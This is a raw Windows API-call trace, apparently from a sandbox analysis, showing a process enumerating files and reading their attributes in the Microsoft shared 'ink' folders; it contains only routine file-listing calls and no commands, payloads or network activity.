	[0243.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.512] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.512] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.512] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.512] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.512] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.512] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cdac0
	[0243.513] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.514] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.514] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.514] FindClose (in: hFindFile=0x192c63cdac0 | out: hFindFile=0x192c63cdac0) returned 1
	[0243.514] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.548] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0243.555] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.555] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.555] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.555] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0243.556] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00)) returned 1
	[0243.570] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0243.571] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.571] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.571] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.571] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0243.572] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00)) returned 1
	[0243.582] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0243.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0243.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav", cAlternateFileName="")) returned 1
